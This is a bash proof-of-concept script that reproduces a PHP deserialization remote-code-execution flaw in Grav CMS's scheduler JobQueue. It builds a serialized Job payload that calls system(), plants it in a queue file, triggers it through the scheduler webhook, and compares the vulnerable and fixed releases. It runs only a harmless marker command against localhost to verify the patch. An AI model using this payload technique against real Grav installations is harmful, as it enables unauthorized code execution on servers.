#!/bin/bash
set -euo pipefail

# Portable paths - works from any directory
ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
ARTIFACTS="$ROOT/artifacts"
mkdir -p "$LOGS" "$REPRO_DIR" "$ARTIFACTS"
cd "$ROOT"

# Keep current-run evidence unambiguous; remove stale logs/proofs from older attempts.
rm -f "$LOGS"/* "$REPRO_DIR"/proof_* "$REPRO_DIR"/payload_* 2>/dev/null || true

VULN_TAG="2.0.0-beta.1"
FIXED_TAG="2.0.0-beta.2"
REPO_SOURCE="https://github.com/getgrav/grav.git"
WEBHOOK_PLUGIN_SOURCE="https://github.com/getgrav/grav-plugin-scheduler-webhook.git"
WEBHOOK_TOKEN="pruva-webhook-token"
CURRENT_SERVER_PID=""

cleanup() {
    if [ -n "${CURRENT_SERVER_PID:-}" ] && kill -0 "$CURRENT_SERVER_PID" >/dev/null 2>&1; then
        kill "$CURRENT_SERVER_PID" >/dev/null 2>&1 || true
        wait "$CURRENT_SERVER_PID" >/dev/null 2>&1 || true
    fi
}
trap cleanup EXIT

cat > "$REPRO_DIR/runtime_manifest.json" <<'JSON'
{
  "entrypoint_kind": "api_remote",
  "entrypoint_detail": "Grav CMS scheduler-webhook HTTP endpoint triggering Scheduler\\JobQueue processing",
  "service_started": false,
  "healthcheck_passed": false,
  "target_path_reached": false,
  "runtime_stack": [],
  "proof_artifacts": [],
  "notes": "initialized by reproduction_steps.sh"
}
JSON

install_toolchain() {
    local need_apt=0
    for tool in php composer jq curl git timeout python3; do
        command -v "$tool" >/dev/null 2>&1 || need_apt=1
    done
    if [ "$need_apt" -eq 1 ]; then
        echo "[*] Installing PHP/Composer toolchain required by Grav..."
        sudo apt-get update -qq
        sudo apt-get install -y -qq php-cli php-mbstring php-xml php-curl php-zip php-gd php-intl php-bcmath composer jq curl git coreutils python3
    fi
}

choose_repo_paths() {
    local context="$ROOT/project_cache_context.json"
    if [ -f "$context" ] && jq -e '.prepared == true and (.project_cache_dir | type == "string")' "$context" >/dev/null 2>&1; then
        CACHE_DIR="$(jq -r '.project_cache_dir' "$context")"
        REPO="$CACHE_DIR/repo"
        local mirror_base
        mirror_base="$(jq -r '.repo_mirror_dir // empty' "$context")"
        if [ -n "$mirror_base" ]; then
            MIRROR="$mirror_base/grav.git"
        else
            MIRROR="$CACHE_DIR/repo-mirrors/grav.git"
        fi
    else
        CACHE_DIR="$ARTIFACTS/grav"
        REPO="$CACHE_DIR/repo"
        MIRROR="$CACHE_DIR/repo-mirrors/grav.git"
    fi
    WEBHOOK_PLUGIN_CACHE="$CACHE_DIR/scheduler-webhook-plugin"
}

prepare_repo() {
    choose_repo_paths
    mkdir -p "$CACHE_DIR" "$(dirname "$MIRROR")"
    if [ ! -d "$REPO/.git" ]; then
        echo "[*] Preparing Grav repository at $REPO"
        if [ -d "$MIRROR" ]; then
            git clone "$MIRROR" "$REPO"
        else
            git clone "$REPO_SOURCE" "$REPO"
        fi
    fi
    if ! git -C "$REPO" rev-parse -q --verify "refs/tags/$VULN_TAG" >/dev/null || \
       ! git -C "$REPO" rev-parse -q --verify "refs/tags/$FIXED_TAG" >/dev/null; then
        if [ -d "$MIRROR" ]; then
            git -C "$REPO" fetch --tags "$MIRROR"
        else
            git -C "$REPO" fetch --tags origin
        fi
    fi
}

prepare_webhook_plugin_cache() {
    if [ ! -d "$WEBHOOK_PLUGIN_CACHE/.git" ]; then
        echo "[*] Cloning scheduler-webhook plugin (real Grav HTTP entrypoint plugin)"
        rm -rf "$WEBHOOK_PLUGIN_CACHE"
        git clone --depth 1 "$WEBHOOK_PLUGIN_SOURCE" "$WEBHOOK_PLUGIN_CACHE" > "$LOGS/webhook_plugin_clone.log" 2>&1
    else
        git -C "$WEBHOOK_PLUGIN_CACHE" fetch --depth 1 origin HEAD > "$LOGS/webhook_plugin_fetch.log" 2>&1 || true
    fi
    git -C "$WEBHOOK_PLUGIN_CACHE" rev-parse HEAD > "$LOGS/webhook_plugin_commit.log"
}

verify_patch_gap() {
    git -C "$REPO" show "$VULN_TAG:system/src/Grav/Common/Scheduler/JobQueue.php" | grep -n "unserialize(base64_decode" > "$LOGS/vulnerable_jobqueue_gap.log" || true
    git -C "$REPO" show "$FIXED_TAG:system/src/Grav/Common/Scheduler/JobQueue.php" | grep -n "serialized_job_hmac\|hash_hmac\|hash_equals" > "$LOGS/fixed_jobqueue_gap.log" || true
    git -C "$REPO" show "$VULN_TAG:system/src/Grav/Common/Session.php" | grep -n "unserialize(\$serialized" > "$LOGS/vulnerable_session_gap.log" || true
    git -C "$REPO" show "$FIXED_TAG:system/src/Grav/Common/Session.php" | grep -n "v2|\|hash_hmac\|hash_equals" > "$LOGS/fixed_session_gap.log" || true
    git -C "$REPO" show "$VULN_TAG:system/src/Grav/Framework/Cache/Adapter/FileCache.php" | grep -n "unserialize(\$value" > "$LOGS/vulnerable_filecache_gap.log" || true
    git -C "$REPO" show "$FIXED_TAG:system/src/Grav/Framework/Cache/Adapter/FileCache.php" | grep -n "FORMAT_VERSION\|hash_hmac\|hash_equals" > "$LOGS/fixed_filecache_gap.log" || true

    if [ -s "$LOGS/vulnerable_jobqueue_gap.log" ] && [ -s "$LOGS/fixed_jobqueue_gap.log" ]; then
        echo "[+] Source patch gap verified: vulnerable JobQueue unserializes unsigned serialized_job; fixed requires HMAC."
    else
        echo "[!] Source patch gap check failed for JobQueue."
        return 1
    fi
}

install_dependencies_for_checkout() {
    local role="$1" attempt="$2"
    echo "[*] ${role} attempt ${attempt}: composer install"
    (cd "$REPO" && COMPOSER_ALLOW_SUPERUSER=1 composer install --no-dev --no-interaction --prefer-dist --optimize-autoloader) > "$LOGS/${role}_composer_${attempt}.log" 2>&1
}

write_minimal_site_and_webhook_config() {
    rm -rf "$REPO/user" "$REPO/cache" "$REPO/tmp" "$REPO/logs"
    mkdir -p "$REPO/user/plugins" "$REPO/user/config/plugins" "$REPO/user/config" \
             "$REPO/user/pages/01.home" "$REPO/user/themes/quark/templates" "$REPO/user/themes/quark/blueprints" \
             "$REPO/user/data/scheduler/queue/pending" "$REPO/cache" "$REPO/tmp" "$REPO/logs"

    cp -a "$WEBHOOK_PLUGIN_CACHE" "$REPO/user/plugins/scheduler-webhook"
    rm -rf "$REPO/user/plugins/scheduler-webhook/.git"

    cat > "$REPO/user/config/system.yaml" <<'YAML'
pages:
  theme: quark
session:
  enabled: true
  initialize: true
cache:
  enabled: false
twig:
  cache: false
errors:
  display: true
  log: true
YAML

    # Enable the real scheduler-webhook plugin.  The HTTP POST to
    # /scheduler/webhook is what makes the queued serialized payload cross the
    # product's remote/API boundary into Scheduler::run() -> JobQueue::popWithId().
    cat > "$REPO/user/config/scheduler.yaml" <<YAML
modern:
  enabled: true
  queue:
    enabled: true
    path: user-data://scheduler/queue
  workers:
    enabled: true
    count: 1
  retry:
    enabled: false
  webhook:
    enabled: true
    token: $WEBHOOK_TOKEN
    path: /scheduler/webhook
  health:
    enabled: true
    path: /scheduler/health
YAML

    cat > "$REPO/user/config/plugins/scheduler-webhook.yaml" <<'YAML'
enabled: true
YAML

    cat > "$REPO/user/pages/01.home/default.md" <<'MD'
---
title: Home
cache_enable: false
process:
  twig: false
---
GRAV_HOME_OK
MD
    cat > "$REPO/user/themes/quark/quark.yaml" <<'YAML'
enabled: true
YAML
    cat > "$REPO/user/themes/quark/blueprints.yaml" <<'YAML'
name: Quark
version: 0.0.1
YAML
    cat > "$REPO/user/themes/quark/templates/default.html.twig" <<'TWIG'
<html><body>{{ page.content|raw }}</body></html>
TWIG
}

generate_serialized_job_payload() {
    local cmd="$1" out_b64="$2"
    cat > "$REPO/gen_jobqueue_payload.php" <<'PHP'
<?php
$autoload = require __DIR__ . '/vendor/autoload.php';
define('GRAV_CLI', true);
define('GRAV_REQUEST_TIME', microtime(true));
$cmd = getenv('POC_CMD');
if (!$cmd) { fwrite(STDERR, "POC_CMD missing\n"); exit(1); }
$grav = Grav\Common\Grav::instance(['loader' => $autoload]);
$job = new Grav\Common\Scheduler\Job('system', [$cmd], 'pruva-jobqueue-rce');
$serialized = serialize($job);
file_put_contents($argv[1], base64_encode($serialized));
fwrite(STDERR, "serialized_length=" . strlen($serialized) . "\n");
PHP
    (cd "$REPO" && POC_CMD="$cmd" php gen_jobqueue_payload.php "$out_b64") > "${out_b64%.b64}.generate.log" 2>&1
}

write_poison_queue_file() {
    local role="$1" attempt="$2" marker="$3" proof_tmp="$4"
    local payload_file="$REPRO_DIR/payload_${role}_${attempt}.b64"
    local payload_log="$LOGS/payload_${role}_${attempt}.generate.log"
    generate_serialized_job_payload "printf '${marker}' > '${proof_tmp}'" "$payload_file"
    cp "${payload_file%.b64}.generate.log" "$payload_log" 2>/dev/null || true
    local payload
    payload="$(cat "$payload_file")"
    mkdir -p "$REPO/user/data/scheduler/queue/pending"

    # The malicious part is serialized_job: a base64 serialized real
    # Grav\Common\Scheduler\Job whose command is system().  The structured
    # command fields are deliberately benign.  Vulnerable beta.1 trusts and
    # unserializes serialized_job, executing the marker command; fixed beta.2
    # refuses the unsigned blob and falls back to /bin/true, proving the HMAC fix.
    jq -n \
      --arg id "poison-${role}-${attempt}" \
      --arg job_id "benign-fallback-${role}-${attempt}" \
      --arg priority "high" \
      --arg timestamp "$(date +%s).0000" \
      --arg serialized_job "$payload" \
      '{id:$id, job_id:$job_id, command:"/bin/true", arguments:[], priority:$priority, timestamp:($timestamp|tonumber), attempts:0, max_attempts:1, created_at:(now|todate), scheduled_for:null, metadata:{}, serialized_job:$serialized_job}' \
      > "$REPO/user/data/scheduler/queue/pending/poison-${role}-${attempt}.json"
    cp "$REPO/user/data/scheduler/queue/pending/poison-${role}-${attempt}.json" "$REPRO_DIR/queue_${role}_${attempt}.json"
}

start_grav_server() {
    local role="$1" attempt="$2" port="$3"
    local server_log="$LOGS/${role}_server_${attempt}.log"
    : > "$server_log"
    (cd "$REPO" && php -S "127.0.0.1:${port}" system/router.php) > "$server_log" 2>&1 &
    CURRENT_SERVER_PID=$!
    echo "[*] ${role} attempt ${attempt}: started PHP server pid=${CURRENT_SERVER_PID} port=${port}"
}

stop_grav_server() {
    if [ -n "${CURRENT_SERVER_PID:-}" ] && kill -0 "$CURRENT_SERVER_PID" >/dev/null 2>&1; then
        kill "$CURRENT_SERVER_PID" >/dev/null 2>&1 || true
        wait "$CURRENT_SERVER_PID" >/dev/null 2>&1 || true
    fi
    CURRENT_SERVER_PID=""
}

wait_for_health() {
    local role="$1" attempt="$2" port="$3"
    local home_headers="$LOGS/${role}_health_${attempt}_headers.txt"
    local home_body="$LOGS/${role}_health_${attempt}_body.txt"
    local scheduler_headers="$LOGS/${role}_scheduler_health_${attempt}_headers.txt"
    local scheduler_body="$LOGS/${role}_scheduler_health_${attempt}_body.json"
    for _ in $(seq 1 40); do
        if curl -sS --max-time 2 -D "$home_headers" "http://127.0.0.1:${port}/" -o "$home_body" >/dev/null 2>&1; then
            if grep -q "GRAV_HOME_OK" "$home_body"; then
                # Best-effort plugin health endpoint capture; home page is the service readiness check.
                curl -sS --max-time 3 -D "$scheduler_headers" "http://127.0.0.1:${port}/scheduler/health" -o "$scheduler_body" >/dev/null 2>&1 || true
                echo "[+] ${role} attempt ${attempt}: HTTP service healthcheck passed"
                return 0
            fi
        fi
        if [ -n "${CURRENT_SERVER_PID:-}" ] && ! kill -0 "$CURRENT_SERVER_PID" >/dev/null 2>&1; then
            echo "[!] ${role} attempt ${attempt}: server exited before healthcheck"
            return 1
        fi
        sleep 0.25
    done
    echo "[!] ${role} attempt ${attempt}: healthcheck timed out"
    return 1
}

run_remote_jobqueue_attempt() {
    local role="$1" tag="$2" attempt="$3" port="$4"
    local marker="GRAV_JOBQUEUE_WEBHOOK_RCE_${role}_${attempt}"
    local proof_tmp="/tmp/grav_jobqueue_webhook_${role}_${attempt}.txt"
    local proof_copy="$REPRO_DIR/proof_${role}_${attempt}.txt"
    local request_log="$LOGS/${role}_webhook_request_${attempt}.txt"
    local response_headers="$LOGS/${role}_webhook_response_${attempt}_headers.txt"
    local response_body="$LOGS/${role}_webhook_response_${attempt}_body.json"
    local curl_log="$LOGS/${role}_webhook_curl_${attempt}.log"

    echo "[*] ${role} attempt ${attempt}: checkout ${tag}"
    stop_grav_server
    rm -f "$proof_tmp" "$proof_copy"
    git -C "$REPO" checkout "$tag" -f >/dev/null 2>&1
    git -C "$REPO" clean -ffdx >/dev/null 2>&1

    install_dependencies_for_checkout "$role" "$attempt"
    write_minimal_site_and_webhook_config
    write_poison_queue_file "$role" "$attempt" "$marker" "$proof_tmp"

    start_grav_server "$role" "$attempt" "$port"
    local health_ok=0
    wait_for_health "$role" "$attempt" "$port" && health_ok=1 || true

    cat > "$request_log" <<EOF_REQ
POST http://127.0.0.1:${port}/scheduler/webhook
Authorization: Bearer $WEBHOOK_TOKEN
Precondition payload: user/data/scheduler/queue/pending/poison-${role}-${attempt}.json contains attacker-controlled serialized_job for marker ${marker}; benign fallback command is /bin/true.
EOF_REQ

    local curl_status=0
    timeout 20 curl -sS --max-time 15 -X POST -H "Authorization: Bearer ${WEBHOOK_TOKEN}" \
        -D "$response_headers" "http://127.0.0.1:${port}/scheduler/webhook" \
        -o "$response_body" > "$curl_log" 2>&1 || curl_status=$?

    cp "$REPO/logs/scheduler.log" "$LOGS/${role}_scheduler_${attempt}.log" 2>/dev/null || true
    find "$REPO/user/data/scheduler/queue" -maxdepth 2 -type f -name '*.json' -print | sort > "$LOGS/${role}_queue_files_after_${attempt}.txt" 2>/dev/null || true
    stop_grav_server

    echo "[*] ${role} attempt ${attempt}: curl_status=${curl_status}, health_ok=${health_ok}"
    if [ -f "$proof_tmp" ] && grep -q "$marker" "$proof_tmp"; then
        cp "$proof_tmp" "$proof_copy"
        echo "[+] ${role} attempt ${attempt}: webhook-triggered JobQueue unserialize executed serialized Job (${proof_copy})"
        return 0
    fi
    echo "[-] ${role} attempt ${attempt}: no serialized Job execution proof file"
    return 1
}

json_artifacts() {
    ROOT_FOR_JSON="$ROOT" python3 - <<'PY'
import glob, json, os
root = os.environ['ROOT_FOR_JSON']
items = []
for rel_dir in ('logs', 'repro'):
    for path in glob.glob(os.path.join(root, rel_dir, '*')):
        if os.path.isfile(path):
            items.append(os.path.relpath(path, root))
print(json.dumps(sorted(set(items))))
PY
}

write_outputs() {
    local vuln_ok="$1" fixed_ok="$2" health_ok="$3"
    local proof_artifacts
    proof_artifacts="$(json_artifacts)"
    local target_reached="false" claim_outcome="unknown" repro_result="inconclusive" block_reason="null" notes
    notes="Remote webhook/JobQueue proof did not produce the expected vulnerable/fixed divergence."
    if [ "$vuln_ok" -eq 2 ] && [ "$fixed_ok" -eq 0 ] && [ "$health_ok" -eq 4 ]; then
        target_reached="true"
        claim_outcome="confirmed"
        repro_result="confirmed"
        notes="Two vulnerable ${VULN_TAG} attempts executed attacker-controlled serialized Grav Scheduler Job objects when POST /scheduler/webhook triggered JobQueue::reconstructJob(); two fixed ${FIXED_TAG} attempts processed the same unsigned serialized_job queue files through the same remote endpoint but did not execute them, falling back to benign structured fields due to the HMAC fix."
    fi

    jq -n \
      --arg entrypoint_kind "api_remote" \
      --arg entrypoint_detail "POST /scheduler/webhook to the real Grav scheduler-webhook plugin; the endpoint calls Scheduler::processWebhookTrigger() -> Scheduler::run() -> JobQueue::popWithId()/reconstructJob() on a queued serialized_job payload" \
      --argjson service_started true \
      --argjson healthcheck_passed "$([ "$health_ok" -eq 4 ] && echo true || echo false)" \
      --argjson target_path_reached "$target_reached" \
      --argjson runtime_stack '["php built-in web server","Grav CMS","scheduler-webhook plugin","HTTP POST /scheduler/webhook","Scheduler::processWebhookTrigger","Scheduler::run","JobQueue::popWithId","JobQueue::reconstructJob","Job::run"]' \
      --argjson proof_artifacts "$proof_artifacts" \
      --arg notes "$notes" \
      '{entrypoint_kind:$entrypoint_kind,entrypoint_detail:$entrypoint_detail,service_started:$service_started,healthcheck_passed:$healthcheck_passed,target_path_reached:$target_path_reached,runtime_stack:$runtime_stack,proof_artifacts:$proof_artifacts,notes:$notes}' \
      > "$REPRO_DIR/runtime_manifest.json"

    jq -n \
      --arg claim_outcome "$claim_outcome" \
      --arg claim_block_reason "$block_reason" \
      --arg repro_result "$repro_result" \
      --arg validated_surface "api_remote" \
      --arg evidence_scope "production_path" \
      --arg claimed_impact_class "code_execution" \
      --arg observed_impact_class "code_execution" \
      --arg exploitability_confidence "high" \
      --arg attacker_controlled_input "forged scheduler queue JSON file containing a base64 serialized Grav\\Common\\Scheduler\\Job object; remote trigger is POST /scheduler/webhook" \
      --arg trigger_path "POST /scheduler/webhook -> Scheduler::processWebhookTrigger() -> Scheduler::run() -> JobQueue::reconstructJob() -> unserialize(serialized_job) -> Job::run/system" \
      --argjson end_to_end_target_reached "$target_reached" \
      --argjson sanitizer_used false \
      --argjson crash_observed false \
      --argjson read_write_primitive_observed false \
      --argjson exploit_chain_demonstrated "$target_reached" \
      --argjson blocking_mitigation null \
      --argjson inferred false \
      '{claim_outcome:$claim_outcome,claim_block_reason:$claim_block_reason,repro_result:$repro_result,validated_surface:$validated_surface,evidence_scope:$evidence_scope,claimed_impact_class:$claimed_impact_class,observed_impact_class:$observed_impact_class,exploitability_confidence:$exploitability_confidence,attacker_controlled_input:$attacker_controlled_input,trigger_path:$trigger_path,end_to_end_target_reached:$end_to_end_target_reached,sanitizer_used:$sanitizer_used,crash_observed:$crash_observed,read_write_primitive_observed:$read_write_primitive_observed,exploit_chain_demonstrated:$exploit_chain_demonstrated,blocking_mitigation:$blocking_mitigation,inferred:$inferred}' \
      > "$REPRO_DIR/validation_verdict.json"
}

copy_proof_carry() {
    local context="$ROOT/project_cache_context.json"
    if [ -f "$context" ] && jq -e '.proof_carry.enabled == true and (.project_cache_dir | type == "string")' "$context" >/dev/null 2>&1; then
        local pc_dir
        pc_dir="$(jq -r '.project_cache_dir' "$context")/.pruva/proof-carry/latest_attempt"
        mkdir -p "$pc_dir"
        cp -f "$REPRO_DIR/reproduction_steps.sh" "$REPRO_DIR/runtime_manifest.json" "$REPRO_DIR/validation_verdict.json" "$pc_dir"/ 2>/dev/null || true
        cp -f "$REPRO_DIR/rca_report.md" "$pc_dir"/ 2>/dev/null || true
        cp -f "$LOGS"/* "$pc_dir"/ 2>/dev/null || true
    fi
}

main() {
    install_toolchain
    prepare_repo
    prepare_webhook_plugin_cache
    echo "[*] Reproduction root: $ROOT"
    echo "[*] Grav repository:   $REPO"
    echo "[*] Vulnerable tag:    $VULN_TAG ($(git -C "$REPO" rev-parse "$VULN_TAG"))"
    echo "[*] Fixed tag:         $FIXED_TAG ($(git -C "$REPO" rev-parse "$FIXED_TAG"))"
    echo "[*] Webhook plugin:    $(cat "$LOGS/webhook_plugin_commit.log")"
    verify_patch_gap

    local vuln_ok=0 fixed_ok=0 health_ok=0
    echo "[*] === Vulnerable remote JobQueue attempts (${VULN_TAG}) ==="
    if run_remote_jobqueue_attempt vulnerable "$VULN_TAG" 1 19281; then vuln_ok=$((vuln_ok+1)); fi
    if grep -q "GRAV_HOME_OK" "$LOGS/vulnerable_health_1_body.txt" 2>/dev/null; then health_ok=$((health_ok+1)); fi
    if run_remote_jobqueue_attempt vulnerable "$VULN_TAG" 2 19282; then vuln_ok=$((vuln_ok+1)); fi
    if grep -q "GRAV_HOME_OK" "$LOGS/vulnerable_health_2_body.txt" 2>/dev/null; then health_ok=$((health_ok+1)); fi

    echo "[*] === Fixed remote JobQueue attempts (${FIXED_TAG}) ==="
    if run_remote_jobqueue_attempt fixed "$FIXED_TAG" 1 19291; then fixed_ok=$((fixed_ok+1)); fi
    if grep -q "GRAV_HOME_OK" "$LOGS/fixed_health_1_body.txt" 2>/dev/null; then health_ok=$((health_ok+1)); fi
    if run_remote_jobqueue_attempt fixed "$FIXED_TAG" 2 19292; then fixed_ok=$((fixed_ok+1)); fi
    if grep -q "GRAV_HOME_OK" "$LOGS/fixed_health_2_body.txt" 2>/dev/null; then health_ok=$((health_ok+1)); fi

    echo "[*] === Results ==="
    echo "    Vulnerable webhook/JobQueue RCE proofs: ${vuln_ok}/2"
    echo "    Fixed webhook/JobQueue RCE proofs:      ${fixed_ok}/2"
    echo "    HTTP healthchecks passed:               ${health_ok}/4"

    write_outputs "$vuln_ok" "$fixed_ok" "$health_ok"
    copy_proof_carry
    echo "[*] Wrote $REPRO_DIR/runtime_manifest.json"
    echo "[*] Wrote $REPRO_DIR/validation_verdict.json"

    if [ "$vuln_ok" -eq 2 ] && [ "$fixed_ok" -eq 0 ] && [ "$health_ok" -eq 4 ]; then
        echo "[+] Vulnerability confirmed at the remote/API Scheduler\\JobQueue unserialize path."
        exit 0
    fi
    echo "[!] Reproduction did not produce the expected remote JobQueue vulnerable/fixed divergence."
    exit 1
}

main "$@"
